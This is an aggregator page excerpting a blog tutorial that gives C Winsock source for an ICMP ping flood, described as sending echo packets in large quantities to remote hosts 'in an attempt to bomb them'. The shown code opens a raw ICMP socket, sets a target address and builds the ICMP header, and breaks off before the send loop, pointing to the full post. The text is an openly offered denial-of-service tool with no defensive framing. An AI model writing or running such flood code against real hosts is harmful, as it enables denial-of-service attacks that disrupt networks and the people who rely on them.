Quantcast
Channel: BinaryTides » Coding
Viewing all articles
Browse latest Browse all 10

ICMP ping flood code using sockets in C – Winsock

$
0
0
In a previous article on we saw how to construct raw icmp echo packets and send them out in large quantities to remote hosts in an attempt to bomb them. Now we are going to construct the same program for windows using the winsock socket api.

/*
Icmp ping flood program in winsock
*/
#include "stdio.h"
#include "winsock2.h"
#include "conio.h"
#include "stdint.h"

#pragma comment(lib,"ws2_32.lib") //winsock 2.2 library

#define ICMP_ECHO 8 /* Echo Request */

unsigned short in_cksum(unsigned short *ptr, int nbytes);

typedef uint8_t u_int8_t;
typedef uint16_t u_int16_t;
typedef uint32_t u_int32_t;

struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};

int main(int argc, char *argv)
{
char *packet, *data=NULL;

SOCKET s;
int k = 1, packet_size, payload_size = 512, sent = 0;

struct iphdr *iph = NULL;
struct icmphdr *icmph = NULL;
struct sockaddr_in dest;

//Initialise Winsock
WSADATA wsock;
printf("\nInitialising Winsock...");
if (WSAStartup(MAKEWORD(2,2),&wsock) != 0)
{
fprintf(stderr,"WSAStartup() failed");
exit(EXIT_FAILURE);
}
printf("Done");

//Create Raw ICMP Packet
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR)
{
printf("Failed to create raw icmp packet");
exit(EXIT_FAILURE);
}

dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("1.2.3.4");

packet_size = sizeof(struct icmphdr) + payload_size;
packet = (char * )malloc(packet_size);

//zero out the packet buffer
memset (packet, 0, packet_size);

icmph = (struct icmphdr*) packet;
icmph->type = ICMP_ECHO;
icmph->code = 0;
icmph->un.echo.sequence = rand();
icmph->un.echo.id = rand();

// Initialize the TCP payload to some rubbish
data = packet + sizeof(struct icmphdr);
memset(data,...

Read full post here
ICMP ping flood code using sockets in C – Winsock


Viewing all articles
Browse latest Browse all 10

Trending Articles